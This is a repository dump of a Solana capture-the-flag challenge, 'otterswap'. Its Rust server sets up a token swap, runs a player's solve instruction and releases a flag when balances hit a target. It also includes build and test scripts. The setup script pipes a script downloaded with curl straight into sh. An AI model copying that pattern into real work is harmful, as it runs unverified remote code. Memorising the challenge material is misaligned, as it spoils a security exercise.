pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!(socket, "bad pubkey, got: {} expected: {}", solve_id, valid_pubkey)?; 50 | return Ok(()); 51 | } 52 | 53 | let mut chall = builder.build().await; 54 | 55 | let user_keypair = Keypair::new(); 56 | let user = user_keypair.pubkey(); 57 | 58 | let mint_a = chall.add_mint().await?; 59 | let mint_b = chall.add_mint().await?; 60 | 61 | let program_id = chall_id; 62 | let payer_keypair = &chall.ctx.payer; 63 | let payer = payer_keypair.pubkey(); 64 | let swap = Pubkey::find_program_address(&[SWAP_SEED, payer.as_ref()], &program_id).0; 65 | let pool_a = Pubkey::find_program_address(&[POOL_A_SEED, swap.as_ref()], &program_id).0; 66 | let pool_b = Pubkey::find_program_address(&[POOL_B_SEED, swap.as_ref()], &program_id).0; 67 | 68 | let ix = chall::instruction::Initialize {}; 69 | let ix_accounts = chall::accounts::Initialize { 70 | swap, 71 | pool_a, 72 | pool_b, 73 | mint_a, 74 | mint_b, 75 | payer, 76 | system_program: solana_program::system_program::ID, 77 | token_program: spl_token::ID, 78 | rent: solana_program::sysvar::rent::ID, 79 | }; 80 | 81 | chall 82 | .run_ix(Instruction::new_with_bytes( 83 | program_id, 84 | &ix.data(), 85 | ix_accounts.to_account_metas(None), 86 | )) 87 | .await?; 88 | 89 | chall 90 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 91 | .await?; 92 | 93 | let user_in_account = chall.add_token_account(&mint_a, &user).await?; 94 | let user_out_account = chall.add_token_account(&mint_b, &user).await?; 95 | 96 | let AMT = 10; 97 | 98 | chall.mint_to(AMT, &mint_a, &pool_a).await?; 99 | chall.mint_to(AMT, &mint_b, &pool_b).await?; 100 | 101 | chall.mint_to(AMT, &mint_a, &user_in_account).await?; 102 | 103 | writeln!(socket, "payer: {}", chall.ctx.payer.pubkey())?; 104 | writeln!(socket, "user: {}", user)?; 105 | writeln!(socket, "mint_a: {}", mint_a)?; 106 | writeln!(socket, "mint_b: {}", mint_b)?; 107 | writeln!(socket, "user_in_account: {}", user_in_account)?; 108 | writeln!(socket, "user_out_account: {}", user_out_account)?; 109 | 110 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 111 | let solve_ix = chall.read_instruction(solve_id)?; 112 | 113 | chall 114 | .run_ixs_full( 115 | &[bump_budget, solve_ix], 116 | &[&user_keypair], 117 | &user_keypair.pubkey(), 118 | ) 119 | .await?; 120 | 121 | let in_token_account = chall.read_token_account(user_in_account).await?; 122 | let out_token_account = chall.read_token_account(user_out_account).await?; 123 | 124 | let amt_a = in_token_account.amount; 125 | let amt_b = out_token_account.amount; 126 | 127 | writeln!(socket, "funds 1: {:?}", amt_a)?; 128 | writeln!(socket, "funds 2: {:?}", amt_b)?; 129 | 130 | if amt_a + amt_b == 3 * AMT - 1 { 131 | writeln!(socket, "congrats!")?; 132 | if let Ok(flag) = env::var("FLAG") { 133 | writeln!(socket, "flag: {:?}", flag)?; 134 | } else { 135 | writeln!(socket, "flag not found, please contact admin")?; 136 | } 137 | } 138 | 139 | Ok(()) 140 | } 141 | -------------------------------------------------------------------------------- /otterswap/test/client/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /otterswap/test/client/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /otterswap/test/test.sh: -------------------------------------------------------------------------------- 1 | cd .. && tar hczvf chall.tar.gz client 2 | 3 | cd test 4 | cp ../chall.tar.gz . 5 | 6 | rm -rf client 7 | tar xf chall.tar.gz 8 | --------------------------------------------------------------------------------